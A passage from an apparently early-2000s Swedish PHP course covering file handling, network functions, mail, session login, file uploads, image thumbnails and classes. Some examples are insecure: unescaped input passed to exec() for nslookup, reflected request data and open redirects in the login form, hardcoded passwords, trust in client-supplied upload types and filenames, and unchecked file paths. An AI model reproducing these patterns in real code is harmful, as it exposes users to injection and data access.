echo "</font><br />";
}
closedir( $incDir );
?>
Returnerar den verkliga katalogen. Se exemplet ovan.
dirname plockar ut katalognamnet från en path. basename tar ut själva filnamnet.
<?php
$katalog = "/hem/bort/fil.php";
echo "Katalogen : " . dirname( $katalog ) . "<br />";
echo "Filen : " . basename( $katalog ) . "<br />";
?>
Ändra och kontrollera rättigheterna för en fil. Har marginell betydelse i Windows. chmod använder sig av Unix systemet för rättigheterna:
Det finns tre grupper:
För dessa kan man ange följande rättigheter:
Mode | Betydelse |
0 | Ingen åtkomst |
1 | Execute (kör program) |
2 | Write (skrivrättigheter) |
4 | Read (Läsrättigheter) |
Dessa kombineras sedan ihop så att t.ex. 750 betyder att ägaren har fulla rättigheter (4+2+1), gruppen har läs och execute rättigheter (4+1) och alla andra har inga (0) rättigheter. Har du tillgång till en Linux maskin: skriv man chmod för mer information.
<?php
# i windows verkar endast 0444 och 0666 att
# fungera...
# visa nuvarande rättigheter
# skall visas som oktalt
# eftersom fileperms ger ett 6-siffrigt nummer
# så filtrerar jag bort allt annat än de tre sista
echo decoct( fileperms ( "data.txt" ) & 0777 ) . "<br />";
# ändra rättigheterna till read
chmod( "data.txt" ,0444 );
# visa nuvarande rättigheter
echo decoct( fileperms ( "data.txt" ) & 0777 ). "<br />";;
# ändra rättigheterna till read + write
chmod( "data.txt" ,0666 );
# visa nuvarande rättigheter
echo decoct( fileperms ( "data.txt" ) & 0777 ). "<br />";;
?>
Kontrollerara om en fil finns:
<?php
if ( file_exists( "data.txt" ) )
{
echo "Filen data.txt existerar<br />";
}
else
{
echo "Filen data.txt existerar <b>inte</b> <br />";
}
# i osäkra fall - kombinera med realpath
if ( file_exists( realpath( "../phpkurs/inc/../data.txt" ) ) )
{
echo "Filen data.txt existerar<br />";
}
else
{
echo "Filen data.txt existerar <b>inte</b><br />";
}
?>
När har filen blivit använd, skapad och senast modifierad. Se exemplet:
<?php
$filename = "index.php";
# kolla de olika tiderna
$created = filectime( $filename );
$lastAccess = fileatime( $filename );
$lastModified = filemtime( $filename );
# visa dem i en <ul> lista
echo "Filen $filename blev:<ul>";
echo "<li>Skapad " . date( "d.m.Y h:i:s", $created ) ."</li>";
echo "<li>Ändrad " . date( "d.m.Y h:i:s", $lastModified ) ."</li>";
echo "<li>Senast använd " . date( "d.m.Y h:i:s", $lastAccess ) ."</li>";
echo "</ul>";
?>
Storleken på en fil:
<?php
$filename = "index.php";
echo "Filen $filename är <b>" . filesize( $filename ) ."</b> byte stor" ;
?>
Används för olika typer av kontroll av filer och kataloger. Se exemplet nedan.
<?php
# error_reporting(0);
# kontollera om det är en katalog
if ( is_dir( "pictures" ) )
echo "pictures är en katalog<br>\n";
# kontrollera om det är en fil
if ( is_file( "index.php" ) )
echo "index.php är en fil<br>\n";
# kontrollera om den är läsbar
if ( is_readable( "testa.txt" ) )
echo "testa.txt är läsbar fil<br>\n";
# kontrollera om den är skrivbar
if ( is_writeable( "testa.txt" ) )
echo "testa.txt är skrivbar<br>\n";
# kontrollera om det är ett program - FUNKAR INTE på WINDOWS
#if ( is_executable( "index.php" ) )
# echo "index.php är ett program (executable)<br>\n";
?>
<?php
# en slingring path till en fil
$filename = "./inc/../../phpkurs/data/../index.php";
echo "Filen $filename heter <b>" . realpath( $filename ) ."</b><br />" ;
$dirname = "./inc";
echo "katalogen $dirname heter <b>" . realpath( $dirname ) ."</b>" ;
?>
Kopierar en fil:
<?php
# radera filen testa.txt
unlink ( "testa.txt" );
# visa om den finns eller inte
echo file_exists ( "testa.txt" ) ? "Finns<br />" : "Finns inte <br />";
# kopiera en fil från data katalogen till nuvarande katalog
# kopian skall heta "testa.txt"
if ( copy ("./data/main.txt", "testa.txt" ) )
{
echo "kopierade filen<br />";
}
else
{
echo "kopierade <b>inte</b> filen<br />";
}
# visa om den finns eller inte
echo file_exists ( "testa.txt" ) ? "Finns<br />" : "Finns inte <br />";
?>
Raderar en fil. Se ovanstående exempelkod.
Här tar jag upp de vanligaste metoderna för läsning av filer.
Den enklaste metoden att läsa en fil är file funktionen. Den öppnar en fil och returnerar en array med ett element per rad. Vill vi inte ha en array kan man enkelt konvertera till text med implode. Se exemplet nedan:
<?php
# läs in innehållet i en fil till en array
# fortsätt inte programmet om filen inte gick att öppna
$innehållet = file ( "lista.txt" )
Or Die("Kunde inte öppna filen");
# loopa genom arrayen
foreach( $innehållet as $rad )
{
echo $rad . "<br />";
}
# visa bara andra raden
if ( count ( $innehållet ) > 2 )
echo $innehållet[1] . "<br />";
echo "<br />Alternativ lösning:<br />";
# en annan möjlighet är att skapa en textvariabel av
# arrayen. Jag sätter här <br /> mellan varje element i
# arrayen när jag skapar filen
$somText = implode ( $innehållet, "<br>");
echo $somText;
?>
Om allow_url_fopen = On finns i php.ini så fungerar även detta:
<?php
# fungerar inte på min arbetsdator för jag har inte internet
# därav @ tecknet
$innehållet = @ file ( "http://www.bet.puv.fi/anders.enges/phpkurs/lista.txt" ) ;
# om sidan kräver lösenord så gör man så här:
# loopa genom arrayen
# gick det inte att öppna filen kommer vi ite att få en array
# utan bara FALSE
if ( $innehållet )
{
foreach( $innehållet as $rad )
{
echo $rad . "<br />";
}
}
?>
Detta går även med FTP. Om HTTP eller FTP kräver användarnamn och lösenord så kan man skriva:
http://username:password@www.domain.com och för FTP
ftp://username:password@www.domain.com/pubs/filen.txt
D.v.s man anger
användarnamn:löserord@ före den egentliga pathen
Öppnar en fil och returnerar en filpekare som kan användas för vidare hantering. Första parametern är filnamnet (eller en URL - se föregående exempel). Den andra parametern anger hur den skall öppnas. Alternativen är:
Alternativ | Betydelse |
r | Endast läsning |
rb | Endast läsning - binärt data (inte bara text) |
w | Endast skrivning |
wb | Endast skrivning - binärt data |
a | "Append" - skrivning till slutet av filen. Finns inte filen så skapas den. |
r+ | Skrivning och läsning |
r+b | Skrivning och läsning - binärt data |
w+ | Skrivning och läsning. Finns inte filen så skapas den. Finns det tidigare innehåll i filen så ersätts detta |
w+b | Som ovan men binärt data |
a+ | Läsning och skrivning. Skrivning sker i slutet av filen. Finns inte filen så skapas den. |
a+b | Som ovan men binärt data |
Skrivning till en fil förutsätter att man har rättigheter til detta. Se chmod
<?php
# öppna filen för läsning
$filen = fopen ( "lista.txt", "r" );
# gick det?
if ( $filen )
{
# loopa så länge som vi inte kommit till feof (End of File)
while( ! feof ( $filen ) )
{
# läs en rad
$raden = fgets ( $filen, 255 );
# skriv ut raden
echo $raden . "<br />";
}
}
else
{
echo "Det sket sig!";
}
# stäng filen
fclose ( $filen );
?>
Stänger en fil som öppnats med fopen eller fsockopen. Se ovanstående exempel
För att läsa från en fil som öppnats med fopen eller fsockopen (samt popen - men jag tar inte upp denna funktion i detta material) kan man använda några olika metoder:
<?php
# öppna filen för läsning
$filen = fopen ( "lista.txt", "r" );
# gick det?
if ( $filen )
{
# loopa så länge som vi inte kommit till feof (End of File)
echo "<br />Med fgets<br />";
while( ! feof ( $filen ) )
{
# läs en rad med text
# fgets står för File GET String
# andra parametern säger hur många tecken den skall läsa
# hittar den ett radslut så läser den mindre
$raden = fgets ( $filen, 255 );
# skriv ut raden
echo $raden . "<br />";
}
# jag visar det inte här men fgetss (två s i slutet)
# fungerar som fgets men den strippar bort alla html taggar
# fgetss har en tredje valbar parameter med vars hjälp
# man kan säga att den skall ignorera vissa tags
# fgetss ( $filen, 255, "<a>")
# gör då att den läser en rad men tar bort alla tags
# utom <a> taggen
# måste gå tillbaka till börkan av filen
rewind ( $filen );
echo "<br />Med fgetc<br />";
while( ! feof ( $filen ) )
{
# läs en tecken åt gången
# fgets står för File GET Character
$tecknet = fgetc ( $filen );
# skriv ut tecknet med ett mellanslag efter
echo $tecknet . " ";
}
}
else
{
echo "Det sket sig!";
}
# stäng filen
fclose ( $filen );
?>
fgetscv sungerar som fgets, men används för CSV (Comma Separated Values) filer. Resultatet sätts in i en array. Se exemplet nedan:
<?php
# öppna filen för läsning
$filen = fopen ( "lista_med_komma.txt", "r" );
# gick det?
if ( $filen )
{
# loopa så länge som vi inte kommit till feof (End of File)
echo "Så här ser filen ut<br />";
while( ! feof ( $filen ) )
{
# läs en rad
$raden = fgets ( $filen, 255 );
# skriv ut raden
echo $raden . "<br />";
}
rewind ( $filen );
echo '<table border="1">';
while( ! feof ( $filen ) )
{
# läs en rad. Antagatt komma används för att
# separera de enskilda delarna
$raden = fgetcsv ( $filen, 255 , "," );
# skriv ut radens enkilda delar i en tabell
echo "<tr><td>";
echo $raden[0] ;
echo "</td><td>";
echo $raden[1] ;
echo "</td><td>";
echo $raden[2] ;
echo "</td></tr>";
}
echo "</table>";
}
else
{
echo "Det sket sig!";
}
# stäng filen
fclose ( $filen );
?>
Produkt | pris | antal |
Dator | 899 | 1 |
Skrivare | 123 | 3 |
fread fungerar som fgets, men klarar av binärt data. Se exemplet nedan:
<?php
# öppna filen för läsning
# en GIF bild är inte strängdata utan binärt data
$filen = fopen ( "./images/box.gif", "r" );
# gick det?
if ( $filen )
{
# läs in de första 2000 byten
$data = fread ( $filen, 2000 );
# visa filens innehåll som hex koder
for ( $i = 0; $i < strlen( $data ); $i++)
echo dechex( ord( $data[ $i ] ) ) . " ";
}
else
{
echo "Det sket sig!";
}
# stäng filen
fclose ( $filen );
?>
De vanligase metoderna för skrivning till filer Alla metoder förutsätter att man öppnat filen med fopen. Se föregående sida.
Skriver till en fil som öppnats med fopen, fsockopen eller popen. Returnerar antalet tecken som skrevs eller -1 om skrivningen misslyckades. fputs är avsedd för text och är inte säker för användning av binärt data. För binärt data, se fwrite.
<?php
# Öppna en fil för skrivning
# skapa den vid behov
$filen = fopen ( "testar_lite.txt", "w+" );
# gick det?
if ( $filen )
{
# lås filen så att andra kan läsa men inte skriva
flock( $filen, 1 );
for ( $i = 0; $i < 10; $i++)
{
# skriv in en rad med CR i slutet
# fwrite fungerar precis likadant, men kan
# ta en sista parameter som säger hur många
# bytes som skall skrivas
fputs ( $filen, "Rad " . $i . "\n" );
}
# tag bort låsningen
flock( $filen, 3 );
# stäng filen
fclose ( $filen );
}
else
{
echo "Det sket sig!";
}
# för exemples skull så visar jag innehållet
$innehållet = file ( "testar_lite.txt" )
Or Die("Kunde inte öppna filen");
foreach( $innehållet as $rad )
{
echo $rad . "<br />";
}
?>
Fillåsning. returnerar en boolean. Första parametern skall vara en "filehandle" skapad med t.ex. fopen. Den andra parametern skall vara någon av följande.
Mode | Betydelse |
1 | Tillåt läsning (men inte skrivning) |
2 | Tillåt inte läsning |
3 | Tag bort låsningen |
5 | Tillåt läsning - som 1 men programmet väntar inte på att låsningen skall ske. Om det inte går (kanske ett annat program redan har låst filen) så fortsätter det |
6 | Som 2 men utan väntan på att låsning skall ske |
För exempel se exemplet för fput.
Man kan inte öppna en URL som börjar med HTTP:// för skrivning, bara för läsning. En URL som börjar med FTP:// kan öppnas för skrivning, men filen får inte finnas, utan det du skriver måste vara en ny fil. Man kan ange användarnamn och lösenord, se föregående sida.
Eftersom PHP är skapt för webben, så finns det även ett antal webinriktade filfunktioner.
get_meta_tags returnerar en array med meta datat som finns i en html-fil. Se nedan:
<?php
$meta = get_meta_tags ( "index.php" );
foreach( $meta as $content=>$value )
{
echo "$content = $value<br />";
}
?>
Man kan även öppna filer direkt från nätet med en http:// url.
I PHP finns det ett antal inbyggda funktioner för nätverk/internet. Vissa av dessa är mer av arten kontroll/konvertering, andra kan användas för filhantering över nätet.
checkdnsrr används för att kontrollera DNS för en server. OBS! Fungerar inte i Windows miljö, för NT/2000/XP finns en "workaround"
Det finns även en funktion: getmxrr som
används för att kontrollera vilken mailserver en domain har.
Det behöver inte vara samma som själva domännamnet. Observera
att även checkdnsrr kan användas för MX kontroll, men
den säger bara om domänen har en mail (MX), inte vilken dator
som sköter om detta. Se mer i network .
Se även email typexemplet
<?php
# har inte nät hemma
error_reporting(0);
# TEST AV FUNKTIONERNA ------------------------------------
$testNames[] = "mail1.bet1.puv.fi";
$testNames[] = "puv.fi";
$testNames[] = "bet.puv.fi";
for ( $i = 0; $i < count( $testNames ); $i++)
{
# kompatibel version för hantering av både linux o win.
# har du Linux så skriv:
# man named
# för mer info om DNS
if ( checkdnsrr_compatible( $testNames[ $i ] ) )
echo $testNames[$i] . " domänen har en mailserver<br />";
else
echo $testNames[$i] . " domänen har <b>inte</b> en mailserver<br />";
if ( checkdnsrr_compatible( $testNames[ $i ] , "NS" ) )
echo $testNames[$i] . " är en nameserver (domain)<br />";
else
echo $testNames[$i] . " är <b>inte</b> en nameserver (domain)<br />";
}
# SLUT PÅ TEST AV FUNKTIONERNA -----------------------------
# NEDANSTÅENDE FUNKTIONER UTFÖR KONTROLLEN --------------------------
function checkdnsrr_compatible( $host, $type = 'MX' )
{
if ( strtoupper( substr( PHP_OS, 0, 3 ) == "WIN" ) )
{
# checkdnserr finns inte i Windows
# måste göra en egen...
return checkdnsrr_NT( $host, $type);
}
else
{
# använd den inbyggda
return checkdnsrr( $host, $type );
}
}
# Windows variant av checkdnsrr
# Fungerar i NT4 / W2K /XP, men inte i W9x / ME
# och andra leksaksoperativsystem
function checkdnsrr_NT( $host, $type = 'MX' )
{
if( !empty( $host ) )
{
# använd nt:s nslookup program
@exec( "nslookup -type=$type $host", $output );
while( list( $k, $line ) = each( $output ) )
{
# borde börja med ordet hosts
if( preg_match( "/^$host/i", $line ) )
{
# Hittade
return true;
}
}
return false;
}
}
?>
<?php
# gethostbyname ger ip för ett domännamn
echo "www.bet.puv.fi<br> ";
echo gethostbyname("www.bet.puv.fi") . "<br>";
# gethostbyaddr ger domännamnet för en ip
echo "208.210.50.161<br> ";
echo gethostbyaddr("208.210.50.161") . "<br>";
# hittas inget domän så returneras ip
echo "198.162.0.1<br> ";
echo gethostbyaddr("198.162.0.1") . "<br>";
# vissa större domän har många ip adresser
# gethostbynamel ger alla dessa i en array
$hosts = gethostbynamel("www.microsoft.com");
echo "<b>www.microsoft.com</b> har följande ip:<br>";
foreach($hosts as $ind=>$ip)
echo "$ind : $ip<br>";
echo "Din ip är: <b>" . $_SERVER["REMOTE_HOST"] . "</b><br>";
echo "Och ditt domännamn är <b>";
echo gethostbyaddr( $_SERVER["REMOTE_HOST"] ) . "</b><br>";
?>
PHP har inbyggda mailfunktioner. För att dessa skall fungera måste man i Linux ha tillgång till sendmail programmet (brukar oftast finnas). I Windows måste man antingen modifiera php.ini så att SMTP = localhost istället sätts till en giltig mailserver. Man kan dock modifiera ini-värden "runtime". Dessa ändringar påverkar inte php.ini utan bara den nuvarande sessionen. Det är den metoden jag använder nedan. Tag en titt på t.ex http://www.faqs.org/rfcs/rfc821.html för mer om headers och annat i SMTP specifikationen.
<?php
# behövs inte i Linux och på alla Win maskiner,
# men på min server måste jag fixa till ini
ini_alter("SMTP", "mail1.bet1.puv.fi");
# vem skall posten sändas till
$to = "anders.enges@puv.fi";
# rubrik för mailet
$subject = "Testar mailen";
# meddelandet
$body = "Hej\n";
$body .= "Skulle bara prova\n\n";
$body .= "Hälsn. Anders";
# sätter vi inte följande kommer mailen
# att sändas från me@localhost.com
# eller vad som råkar finnas i
# sendmail_from =
# i php.ini
$header = "From: test@firma.com\r\n";
# jag vill inte ha mailboxen full av testmail
# så jag avbryter scripten med nedanstående rad
# ni får bara lita på att det fungerar
return;
# sänder mailet
if ( mail ( $to, $subject, $body, $header ) )
{
echo "Mail sändes";
}
else
{
echo "Mail sändes <b>INTE</b>";
}
?>
Öppnar en socket som kan användas för
kommunikation. Se mer i network
Exempel - HTTP kommunikation
<?php
$fp = fsockopen (
"www.enges.org", # adressen - ip går också
80, # port. 80 = HTTP
$errno, # för eventuella felnummer
$errstr, # eventuella felmeddelanden
30 # timeout tid innan vi skall ge upp
);
# prova öppna porten
if (!$fp )
{
# visa felmeddenande om inte det gick
echo "$errstr ($errno)<br>\n";
}
else
{
# skapa ett normalt HTTP GET kommando
# observera att en den alltid måste sluta
# med \r\n\r\n
$command = "GET /phpkurs/samples/demo2.htm ";
$command .= "HTTP/1.0\r\n";
$command .= "Host: www.enges.org\r\n\r\n";
# sänd detta
fputs ($fp, $command );
# läs resultatet 4096 byte åt gången
# det vi får är det som en browser får
# browsern brukar dock inte visa header informationen
while ( !feof( $fp ) )
{
echo nl2br(htmlentities(fgets ( $fp, 4096 )));
}
# stäng porten
fclose ( $fp );
}
?>
Exempel - Tid
<?php
$fp = fsockopen(
"udp://mail1.bet1.puv.fi", # protokoll och adress
13, # port - 13 = tid
$errno,
$errstr
);
if ( !$fp )
{
echo "ERROR: $errno - $errstr<br>\n";
}
else
{
fwrite( $fp,"\n" );
echo fread( $fp, 26 );
fclose( $fp );
}
?>
Exempel - WhoIs
<?
$domain = "microsoft.com";
$domain = trim( $domain );
$fp = fsockopen(
"whois.networksolutions.com", # whois server
43, # whois porten
$errno,
$errstr,
30 # timeout
);
if ( !$fp ) # öppna porten
{
echo "$errstr ( $errno )";
}
else
{
fputs( $fp, "$domain\r\n" );
print "<pre>\r\n";
while ( !feof( $fp ) )
{
echo fread( $fp, 128 );
}
print "</pre>";
fclose ( $fp );
}
?>
Till att börja med måste jag påpeka att det inte finns någon metod för autenticering av användare som är helt säker. Om vi har tillgång till https kan vi vara rätt säkra, men i annat fall går det alltid att snappa upp lösenord mm. bara man verkligen vill...
Nedan visas en "quick'n'dirty" metod som räcker för enklare behov och som är lätt att implementera. I kombination med ssl krypterad https förbindelse är den troligtvis tillräckligt säker. Utan ssl finns det ingen helt säker metod.
Enklaste sättet att få en grundläggande autenticering är att skapa två små php-program. Det ena skall inkluderas i absoluta början av de sidor som skall skyddas, det andra används för att ge in loginuppgifter om så behövs.
Idén är följande:
Vi kontrollerar om en viss sessionsvariabel är satt och om inte så hänvisar vi till en loginform
<?php
# se till att sessionen startas. Behövs inte alltid - det
# beror rätt mycket på hur php är konfigurerat
session_start();
# använd gärna mer komplicerat värde på variabeln än "ja"
if ( ! isset ( $_SESSION[ "har_loggat_in" ] ) OR
strcmp($_SESSION[ "har_loggat_in" ], "ja") != 0 )
{
header("Location: login.php?from=" . $_SERVER["PHP_SELF"]);
}
?>
Visar formen men validerar även och sänder oss tillbaka till sidan vi kom från om login var OK
<?php
session_start();
if ( isset( $_POST[ "login_name" ] ) AND
isset( $_POST[ "login_password" ] ) )
{
# för exemples skull en enkel koll mot
# hårdkodade användanamn och lösenord
if ( strcmp($_POST[ "login_name" ], "kalle") == 0 AND
strcmp($_POST[ "login_password" ], "hemligt") == 0)
{
# kom ihåg att login var OK
$_SESSION[ "har_loggat_in" ] = "ja";
# gå tillbaka till sidan vi kom från
header("Location: " . $_POST["from"] );
}
}
?>
<html>
<head>
<title>Login</title>
</head>
<body>
<form method="POST">
<table>
<tr>
<td>
Användarnamn:
</td>
<td>
<input type="text" name="login_name">
</td>
</tr>
<tr>
<td>
Lösenord:
</td>
<td>
<input type="password" name="login_password">
</td>
</tr>
<tr>
<td>
<input type="hidden"
name="from"
value="<?php echo $_REQUEST["from"] ?>">
</td>
<td>
<input type="submit" value="OK">
</td>
</tr>
</table>
</form>
</body>
</html>
I de sidor som skall skyddas inkluderar man kolla_login.php direkt i början. Prova på följande sätt:
<?php
include_once( "kolla_login.php" );
?>
<html>
<head>
<title>Hemlig sida</title>
</head>
<body>
<p>Här finns hemlig information som kräver att man loggar in...</p>
</form>
</body>
</html>
Observera att den enda ändringen som behövs på en sida för att få den lösenordsskyddad är således att man inkluderar kolla_login.php i början av filen...
För att logga ut behöver vi bara radera den session variabel som säger att vi är inloggade:
<?php
session_start();
# förstör session variabeln som
# säger att vi loggat in
session_unregister("har_loggat_in");
?>
<html>
<head>
<title>Logout</title>
</head>
<body>
<p>Du är nu utloggad. För säkerhets
skull kan du stänga browsern</p>
</body>
</html>
Man kan även skapa följande kod som inkluderas i början av alla sidor som skall autenticeras.
OBS! På en Windows server med IIS fungerar den dock bara om det ställts in att det skall tillåtas Basic authorization - och detta är aldrig inställt för datorer som inte har ssl. Desutom måste man ta bort Anonymous access för siten. Eftersom man oftast inte har full kontroll över den server man använder är denna metod i praktiken oanvändbar.
På en Linux maskin kan man dock prova - men studera först länkarna under nästa rubrik...
<?php
# kontrollera om användaren är inloggad
if ( ! isset( $_SERVER[ "PHP_AUTH_USER" ] ) )
{
# Realm ordet får du hitta på själv
# Det fungerar så att om man loggat in på en viss sida som
# hör till en viss Realm, så kommer man automatiskt
# att vara autenticerad för alla andra sidor som
# hör till samma realm
# sänd auktoriseringsorder
header('WWW-Authenticate: Basic realm="Min Realm"');
header('HTTP/1.0 401 Unauthorized');
# om användaren tryckte på cancel kommer vi hit
echo "Detta kommer om användaren tryckte på Cancel";
exit;
}
else
{
# användaren har gett namn och lösen
# kontrollera om dessa är ok
if ( $_SERVER[ "PHP_AUTH_USER" ] != "kalle" OR
$_SERVER[ "PHP_AUTH_PW" ] != "hemligt" )
{
# om inte så visas ett meddelande
echo "Det finns ingen sådan användare!";
# och sidan avslutas
exit;
}
}
?>
Om man har Apache servern kan man använda .htaccess filer för autenticering. Jag beskriver inte närmare på dessa sidor utan hänvisar till t.ex.
http://hotwired.lycos.com/webmonkey/00/05/index2a.html
http://hotwired.lycos.com/webmonkey/html/97/08/index2a.html
http://www.php.net/manual/en/features.http-auth.php
Man kan utan alltför stora problem skapa formar som ger oss möjligheten att ladda upp filer till servern. Du bör dock först kontrollera några saker.
<?php
phpinfo();
?>
En upload består av några steg:
En form som ger oss en upload ser i sin enklaste form ut så här (fetstil betecknar sådant som måste skrivas i den form det är skrivet nedan, medan kursiv betecknar sådant du kan/skall ändra):
<form enctype="multipart/form-data" action="url"
method="post">
<input type="hidden" name="MAX_FILE_SIZE"
value="3000">
Välj fil: <input name="minfil" type="file">
<input type="submit" value="Sänd">
</form>
Följande saker skall beaktas:
Php programmet som tar emot formdatat har tillgång till följande information som samtliga finns i $_FILES (I php versioner före 4.1.0 byter du ut $FILES till $HTTP_POST_FILES)
I nedanstående exempel betyder ordet "minfil" att det det i formen fanns följande kod: <input name="minfil" type="file">, d.v.s namnet på file boxen i formen.
<?php
if ( isset( $_FILES[ "minfil" ] ) )
{
# en array med de filtyper som vi kan godkänna
$godkända_typer[] = "image/gif" ; # gif
$godkända_typer[] = "image/pjpeg" ; # jpeg
$godkända_typer[] = "image/jpeg" ; # jpeg
$godkända_typer[] = "image/x-png" ; # png
# visar infot från $_FILES
echo "\$_FILES[ \"minfil\" ][ \"name\" ] " .
$_FILES[ "minfil" ][ "name" ] . "<br>";
echo "\$_FILES[ \"minfil\" ][ \"type\" ] " .
$_FILES[ "minfil" ][ "type" ] . "<br>";
echo "\$_FILES[ \"minfil\" ][ \"size\" ] " .
$_FILES[ "minfil" ][ "size" ] . "<br>";
echo "\$_FILES[ \"minfil\" ][ \"tmp_name\" ] " .
$_FILES[ "minfil" ][ "tmp_name" ] . "<br>";
echo "\$_FILES[ \"minfil\" ][ \"error\" ] " .
$_FILES[ "minfil" ][ "error" ] . "<br>";
# om det inte är ett fel och om filtypen är någon av de godkända
# så flyttar vi den till samma katalog som vi finns i
if ( $_FILES[ "minfil" ][ "error" ] == 0 AND
in_array( $_FILES[ "minfil" ][ "type" ], $godkända_typer ) )
{
# kontrollera om den går att flytta från sin temorära plats
# idetta exempel laddar jag upp bilden till en katalog
# med namnet mina_bilder
if ( move_uploaded_file($_FILES[ "minfil" ][ "tmp_name" ],
"./mina_bilder/" . $_FILES[ "minfil" ][ "name" ] ) )
{
# visa om det gick
echo "Filen " .
$_FILES[ "minfil" ][ "name" ] .
" uppladdad till mina_bilder katalogen<br >";
# raderar filen direkt - vill inte skräpa ner mina kataloger
# ni raderar självklart inte
unlink ( "./mina_bilder/" . $_FILES[ "minfil" ][ "name" ] );
}
else
{
# nåt skumt håller på att ske?
echo "Möjlig hackerattack?";
}
}
else
{
echo "Du får bara ladda upp bilder";
}
}
?>
<form enctype="multipart/form-data"
action="up.php"
method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="2000000">
<input name="minfil"type="file"><br>
<input type="submit" value="Sänd filen">
</form>
<p>Prova gärna med olika typer av filer, samt med tomt i fileboxen</p>
Se mer i file-upload
Jag har valt att börja lite "bakifrån" i denna sektion. Koden som finns på denna sida är fungerande (om du har PHP 4.0.6 eller nyare med GD-lib laddat), men den är okommenterad. Idén är att när du fått programmet kopierat till egen dator och testat att det verkar fungera, så söker du fram alla använda funktioner på www.php.net. Kommentera ditt program och fundera på ändringar. Några ändringar som kan vara av intresse är:
När du vet vad alla de använda funktionerna gör, och kan ändra på parametrarna, så har du fått början till PHP's bildbearbetningsmöjligheter.
Koden är såldes inte nödvändingtvis ett färdigt program, utan snarare en experimentlåda för vidare tester...
Nedan finns ett php-program som du kan använda i sin helhet. Sätt det i en lämplig katalog. Se även till att ha minst en bild i samma katalog, och se till att denna bild är rätt stor - större än 150*150 pixels. Nedanstående kod får inte innehålla någon som helst html-kod, utan den skall bara returnera en bild.
<?php
$ny_bild = imagecreatetruecolor( 150, 150 );
if( isset( $_REQUEST[ "bild" ] ) && file_exists( $_REQUEST[ "bild" ] ) )
{
$info = getimagesize( $_REQUEST[ "bild" ] );
if( $info[ 2 ] == 1 )
{
$gammal_bild = imagecreatefromgif( $_REQUEST[ "bild" ] );
}
elseif( $info[ 2 ] == 2 )
{
$gammal_bild = imagecreatefromjpeg( $_REQUEST[ "bild" ] );
}
elseif( $info[ 2 ] == 3 )
{
$gammal_bild = imagecreatefrompng( $_REQUEST[ "bild" ] );
}
imagecopyresampled( $ny_bild, $gammal_bild, 0, 0, 0, 0, 150, 150,
imagesx( $gammal_bild ) , imagesy( $gammal_bild ) );
$textfärg = imagecolorallocate( $ny_bild, 0, 0, 255 );
imagestring ( $ny_bild, 3, 10, 5, "(c) anders 2004", $textfärg );
}
else
{
$färg = imagecolorallocate( $ny_bild, 255, 255, 192 );
$linje_färg = imagecolorallocate( $ny_bild, 255, 0, 0 );
imagefill( $ny_bild, 0, 0 , $färg );
imageline( $ny_bild, 0, 0, imagesx( $ny_bild ), imagesy( $ny_bild ), $linje_färg );
imageline( $ny_bild, 0, imagesy( $ny_bild ), imagesx( $ny_bild ), 0, $linje_färg );
}
header( "Content-type: image/jpeg" );
imagejpeg( $ny_bild );
?>
Exempel på användning av ovanstående program. Modifiera bildfilens namn så att det fungerar med ditt data.
<html>
<head>
<title></title>
</head>
<body>
<!-- min bild och kod finns i samples katalogen -
din kanske finns i samma katalog
tag i så fall bort ./samles/ i nedanstående exempel -->
<p>Klicka på bilden för förstoring</p>
<p>
<a href="./samples/map_fixad.jpg" target="_new">
<img src="./samples/tumb.php?bild=map_fixad.jpg" border="0">
</a>
</p>
<p>
<a href="./samples/finns_inte.jpg" target="_new">
<img src="./samples/tumb.php?bild=finns_inte.jpg" border="0">
</a>
</p>
</body>
</html>
OBS! DENNA SEKTION ÄR UNDER ARBETE - EJ FÄRDIG
Idén bakom klasser är att datat skall sköta sig själv. Alla som arbetat i e något så när modernt programmeringsredskap har någon gång använt klasser - även i VB. En klass håller reda på sitt eget dat, samt tillhandahåller metoder för att manipulera detta data
<?php
class EnKlass
{
# lokal variabel för klassen
var $klassVariabel ;
# en funktion med indata för klassvariabeln
function setVariabel( $inVal )
{
$this->klassVariabel = $inVal ;
}
# en funktion som returnerar data
function getVariabel( )
{
return $this->klassVariabel * 100 ;
}
# en funktion som tar indata och returnerar ett värde
function räknaLite( $inData )
{
return $this->klassVariabel * $inData ;
}
}
# användningsexempel
# vi skapar klassen på detta sätt
$MinKlass = new EnKlass() ;
# en funktion med en parameter
$MinKlass->setVariabel( 2 ) ;
# vi använder en funktion som returnerar ett värde
echo $MinKlass->getVariabel( ) ;
echo "<br />" ;
# vi använder en funktion som returnerar ett värde
echo $MinKlass->räknaLite( 40 ) ;
?>
När en klass skapas med new klassnamn() kan man även välja att ge ett startvärde. Om man vill kan man även se till att ett dafaultvärde används om man inte gett ett värde.
<?php
class EnKlass2
{
var $klassVariabel ;
# om en funktion har samma namn som klassen kommer
# denna funktion att köras automatiskt
# detta kallas klassens kontruerare (class conctructor)
# om man inte anger ett värde sätter vi 100 som defaultvärde
# i detta exempel
function EnKlass2( $indata = 100 )
{
$this->klassVariabel = $indata ;
}
# resten är som tidigare
function setVariabel( $inVal )
{
$this->klassVariabel = $inVal ;
}
function getVariabel( )
{
return $this->klassVariabel * 100 ;
}
function räknaLite( $inData )
{
return $this->klassVariabel * $inData ;
}
}
# vi skapar klassen utan invärde till konstrueraren
# den kommer då att använda defaultvärdet (100)
$MinKlass = new EnKlass2() ;
echo $MinKlass->räknaLite( 40 ) ;
echo "<br />" ;
# konstrueraren får ett invärde
$MinAndraKlass = new EnKlass2( 3 ) ;
echo $MinAndraKlass->räknaLite( 40 ) ;
?>
Vill man bygga på funktionaliteten behöver man inte nödvändigtvis ändra på klassen - man kan även skapa en ny klass som ärver en tidigare klass. I nedanstående exempel skapas en ny klass som ärver en tidigare. Klassen kan allt som förfadern kan, men lägger till en ny funktion:
<?php
# inkludera det php program som innehåller den
# klass vi vill ärva
include_once("php3_class2.php");
class EnKlass3 extends EnKlass2
{
# lägger till en ny funktion
function räknaMera( )
{
return $this->klassVariabel + 13 ;
}
}
# skapa objktet
$MinKlass = new EnKlass3() ;
# nedanstående rader kommer att använda basklassens funktioner
echo $MinKlass->räknaLite( 40 ) ;
echo "<br />" ;
$MinAndraKlass = new EnKlass3( 3 ) ;
echo $MinAndraKlass->räknaLite( 40 ) ;
echo "<br />" ;
# Följande funktion finns i EnKlass3, resten är ärvda från EnKlass2
echo $MinAndraKlass->räknaMera( ) ;
?>
Man kan även överlagra funktioner. I nedanstående exempel finns det en kontruerare för klassen. Om så är fallet, och om man vill att basklassens kontruerare skall köras, så måste man medvetet köra basklassens kontruerare.
